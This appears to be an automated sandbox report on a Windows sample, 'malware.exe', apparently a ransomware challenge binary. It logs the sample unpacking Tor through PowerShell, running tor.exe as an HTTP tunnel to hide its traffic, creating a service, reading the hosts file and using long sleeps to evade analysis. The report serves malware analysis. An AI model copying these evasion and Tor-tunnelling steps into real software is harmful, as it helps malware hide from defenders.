Source: C:\Users\user\Desktop\malware.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command Expand-Archive "tor-win32-0.3.4.9.zip" " TorFiles"	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K TorFiles\tor\tor.exe --nt-service --HTTPTunnelPort 8118	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\TorFiles\Tor\tor.exe TorFiles\tor\tor.exe --nt-service --HTTPTunnelPort 8118	Jump to behavior

Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\malware.exe

File created: C:\Users\user\Desktop\tor-win32-0.3.4.9.zip

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iy0cbdpq.l4y.ps1

Jump to behavior

Source: classification engine

Classification label: mal68.spyw.evad.winEXE@9/27@15/32

Source: C:\Users\user\Desktop\malware.exe

Code function: CreateServiceA,

0_2_00007FF6EA7061C6

Source: C:\Users\user\Desktop\malware.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll

Jump to behavior

Source: C:\Users\user\Desktop\malware.exe

Code function: 0_2_00007FF6EA703F3E StartServiceA,

0_2_00007FF6EA703F3E

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6896:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6432:120:WilError_01

Source: C:\Users\user\Desktop\malware.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: malware.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: malware.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: malware.exe

Static file information: File size 2950656 > 1048576

Source: malware.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x21e400

Source: malware.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: malware.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: malware.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: malware.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: malware.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: malware.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: malware.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: malware.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: C:\Users\Administrator\Challenges\1004\Ransomware\src\x64\Debug\Malware.pdb source: malware.exe, 00000000.00000000.482858260.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmp

Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_3_03D29A09 pushad ; retf	5_3_03D29A0A
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_3_03D29A09 pushad ; retf	5_3_03D29A0A
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_3_03D29A09 pushad ; retf	5_3_03D29A0A
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_3_03D2A5CE push esi; ret	5_3_03D2A5CF
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_3_03D2A5CE push esi; ret	5_3_03D2A5CF
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_3_03D2A5CE push esi; ret	5_3_03D2A5CF
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_3_03D299E9 pushad ; iretd	5_3_03D299EA
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_3_03D299E9 pushad ; iretd	5_3_03D299EA
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_3_03D299E9 pushad ; iretd	5_3_03D299EA
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_3_03D29A09 pushad ; retf	5_3_03D29A0A
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_3_03D29A09 pushad ; retf	5_3_03D29A0A
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_3_03D29A09 pushad ; retf	5_3_03D29A0A
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_3_03D2A5CE push esi; ret	5_3_03D2A5CF
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_3_03D2A5CE push esi; ret	5_3_03D2A5CF
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_3_03D2A5CE push esi; ret	5_3_03D2A5CF
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_3_03D299E9 pushad ; iretd	5_3_03D299EA
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_3_03D299E9 pushad ; iretd	5_3_03D299EA
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_3_03D299E9 pushad ; iretd	5_3_03D299EA
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_3_03D29A09 pushad ; retf	5_3_03D29A0A
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_3_03D29A09 pushad ; retf	5_3_03D29A0A
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_3_03D29A09 pushad ; retf	5_3_03D29A0A
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_3_03D2A5CE push esi; ret	5_3_03D2A5CF
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_3_03D2A5CE push esi; ret	5_3_03D2A5CF
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_3_03D2A5CE push esi; ret	5_3_03D2A5CF
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_3_03D299E9 pushad ; iretd	5_3_03D299EA
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_3_03D299E9 pushad ; iretd	5_3_03D299EA
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_3_03D299E9 pushad ; iretd	5_3_03D299EA

Source: malware.exe	Static PE information: section name: .textbss
Source: malware.exe	Static PE information: section name: .msvcjmc
Source: malware.exe	Static PE information: section name: .00cfg
Source: libevent_extra-2-1-6.dll.2.dr	Static PE information: section name: /4
Source: libevent_extra-2-1-6.dll.2.dr	Static PE information: section name: /19
Source: libevent_extra-2-1-6.dll.2.dr	Static PE information: section name: /31
Source: libevent_extra-2-1-6.dll.2.dr	Static PE information: section name: /45
Source: libevent_extra-2-1-6.dll.2.dr	Static PE information: section name: /57
Source: libevent_extra-2-1-6.dll.2.dr	Static PE information: section name: /70
Source: libevent_extra-2-1-6.dll.2.dr	Static PE information: section name: /81
Source: libevent_extra-2-1-6.dll.2.dr	Static PE information: section name: /92
Source: libgcc_s_sjlj-1.dll.2.dr	Static PE information: section name: /4
Source: libgcc_s_sjlj-1.dll.2.dr	Static PE information: section name: /19
Source: libgcc_s_sjlj-1.dll.2.dr	Static PE information: section name: /31
Source: libgcc_s_sjlj-1.dll.2.dr	Static PE information: section name: /45
Source: libgcc_s_sjlj-1.dll.2.dr	Static PE information: section name: /57
Source: libgcc_s_sjlj-1.dll.2.dr	Static PE information: section name: /70
Source: libgcc_s_sjlj-1.dll.2.dr	Static PE information: section name: /81
Source: libgcc_s_sjlj-1.dll.2.dr	Static PE information: section name: /92
Source: libssp-0.dll.2.dr	Static PE information: section name: /4
Source: libssp-0.dll.2.dr	Static PE information: section name: /19
Source: libssp-0.dll.2.dr	Static PE information: section name: /31
Source: libssp-0.dll.2.dr	Static PE information: section name: /45
Source: libssp-0.dll.2.dr	Static PE information: section name: /57
Source: libssp-0.dll.2.dr	Static PE information: section name: /70
Source: libssp-0.dll.2.dr	Static PE information: section name: /81
Source: libssp-0.dll.2.dr	Static PE information: section name: /92
Source: libwinpthread-1.dll.2.dr	Static PE information: section name: /4
Source: libwinpthread-1.dll.2.dr	Static PE information: section name: /19
Source: libwinpthread-1.dll.2.dr	Static PE information: section name: /31
Source: libwinpthread-1.dll.2.dr	Static PE information: section name: /45
Source: libwinpthread-1.dll.2.dr	Static PE information: section name: /57
Source: libwinpthread-1.dll.2.dr	Static PE information: section name: /70
Source: libwinpthread-1.dll.2.dr	Static PE information: section name: /81
Source: libwinpthread-1.dll.2.dr	Static PE information: section name: /92
Source: ssleay32.dll.2.dr	Static PE information: section name: /4
Source: ssleay32.dll.2.dr	Static PE information: section name: /19
Source: ssleay32.dll.2.dr	Static PE information: section name: /31
Source: ssleay32.dll.2.dr	Static PE information: section name: /45
Source: ssleay32.dll.2.dr	Static PE information: section name: /57
Source: ssleay32.dll.2.dr	Static PE information: section name: /70
Source: ssleay32.dll.2.dr	Static PE information: section name: /81
Source: ssleay32.dll.2.dr	Static PE information: section name: /92
Source: libeay32.dll.2.dr	Static PE information: section name: /4
Source: libeay32.dll.2.dr	Static PE information: section name: /19
Source: libeay32.dll.2.dr	Static PE information: section name: /31
Source: libeay32.dll.2.dr	Static PE information: section name: /45
Source: libeay32.dll.2.dr	Static PE information: section name: /57
Source: libeay32.dll.2.dr	Static PE information: section name: /70
Source: libeay32.dll.2.dr	Static PE information: section name: /81
Source: libeay32.dll.2.dr	Static PE information: section name: /92
Source: libevent-2-1-6.dll.2.dr	Static PE information: section name: /4
Source: libevent-2-1-6.dll.2.dr	Static PE information: section name: /19
Source: libevent-2-1-6.dll.2.dr	Static PE information: section name: /31
Source: libevent-2-1-6.dll.2.dr	Static PE information: section name: /45
Source: libevent-2-1-6.dll.2.dr	Static PE information: section name: /57
Source: libevent-2-1-6.dll.2.dr	Static PE information: section name: /70
Source: libevent-2-1-6.dll.2.dr	Static PE information: section name: /81
Source: libevent-2-1-6.dll.2.dr	Static PE information: section name: /92
Source: libevent_core-2-1-6.dll.2.dr	Static PE information: section name: /4
Source: libevent_core-2-1-6.dll.2.dr	Static PE information: section name: /19
Source: libevent_core-2-1-6.dll.2.dr	Static PE information: section name: /31
Source: libevent_core-2-1-6.dll.2.dr	Static PE information: section name: /45
Source: libevent_core-2-1-6.dll.2.dr	Static PE information: section name: /57
Source: libevent_core-2-1-6.dll.2.dr	Static PE information: section name: /70
Source: libevent_core-2-1-6.dll.2.dr	Static PE information: section name: /81
Source: libevent_core-2-1-6.dll.2.dr	Static PE information: section name: /92

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Desktop\TorFiles\Tor\zlib1.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Desktop\TorFiles\Tor\libgcc_s_sjlj-1.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Desktop\TorFiles\Tor\libwinpthread-1.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Desktop\TorFiles\Tor\tor-gencert.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Desktop\TorFiles\Tor\libevent_core-2-1-6.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Desktop\TorFiles\Tor\libssp-0.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Desktop\TorFiles\Tor\libevent_extra-2-1-6.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Desktop\TorFiles\Tor\ssleay32.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Desktop\TorFiles\Tor\libeay32.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Desktop\TorFiles\Tor\libevent-2-1-6.dll	Jump to dropped file

Source: C:\Users\user\Desktop\malware.exe

Code function: 0_2_00007FF6EA703F3E StartServiceA,

0_2_00007FF6EA703F3E

Hooking and other Techniques for Hiding and Protection

May use the Tor software to hide its network traffic

Source: tor.exe, 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmp

Binary or memory string: onion-port

Source: C:\Users\user\Desktop\malware.exe

Code function: 0_2_00007FF6EA702E4A Concurrency::details::UMS::Initialize,GetModuleHandleW,GetProcAddress,GetLastError,GetModuleHandleW,GetProcAddress,GetLastError,GetModuleHandleW,GetProcAddress,GetLastError,GetModuleHandleW,GetProcAddress,GetLastError,GetModuleHandleW,GetProcAddress,GetLastError,GetModuleHandleW,GetProcAddress,GetLastError,GetModuleHandleW,GetProcAddress,GetLastError,GetModuleHandleW,GetProcAddress,GetLastError,GetModuleHandleW,GetProcAddress,GetLastError,GetModuleHandleW,GetProcAddress,GetLastError,GetModuleHandleW,GetProcAddress,GetLastError,GetModuleHandleW,GetProcAddress,GetLastError,GetModuleHandleW,GetProcAddress,GetLastError,GetModuleHandleW,GetProcAddress,GetLastError,GetModuleHandleW,GetProcAddress,GetLastError,GetModuleHandleW,GetProcAddress,GetLastError,GetModuleHandleW,GetProcAddress,GetLastError,

0_2_00007FF6EA702E4A

Source: C:\Users\user\Desktop\malware.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\malware.exe TID: 6532	Thread sleep time: -55000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6780	Thread sleep count: 9569 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6740	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\TorFiles\Tor\tor-gencert.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\TorFiles\Tor\libevent_core-2-1-6.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\TorFiles\Tor\libevent_extra-2-1-6.dll	Jump to dropped file

Source: C:\Users\user\Desktop\malware.exe

Code function: 0_2_00007FF6EA702E72 rdtsc

0_2_00007FF6EA702E72

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window / User API: threadDelayed 9569

Jump to behavior

Source: C:\Users\user\Desktop\malware.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-37900

Source: C:\Users\user\Desktop\malware.exe	API coverage: 1.1 %
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	API coverage: 8.3 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\malware.exe

Code function: 0_2_00007FF6EA83F290 GetSystemInfo,

0_2_00007FF6EA83F290

Source: C:\Users\user\Desktop\malware.exe	Code function: 0_2_00007FF6EA7092DB FindFirstFileExW,		0_2_00007FF6EA7092DB
Source: C:\Users\user\Desktop\malware.exe	Code function: 0_2_00007FF6EA8E2CF0 FindFirstFileExW,FindNextFileW,		0_2_00007FF6EA8E2CF0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\Desktop\TorFiles\Data\Tor\geoip6	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\Desktop\TorFiles\Data\Tor\geoip	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\Desktop\TorFiles\Tor\libevent_core-2-1-6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\Desktop\TorFiles\Tor\libevent_extra-2-1-6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\Desktop\TorFiles\Tor\libeay32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\Desktop\TorFiles\Tor\libevent-2-1-6.dll	Jump to behavior

Source: malware.exe, 00000000.00000002.749151238.000001A64B648000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: malware.exe, 00000000.00000002.749151238.000001A64B6B2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
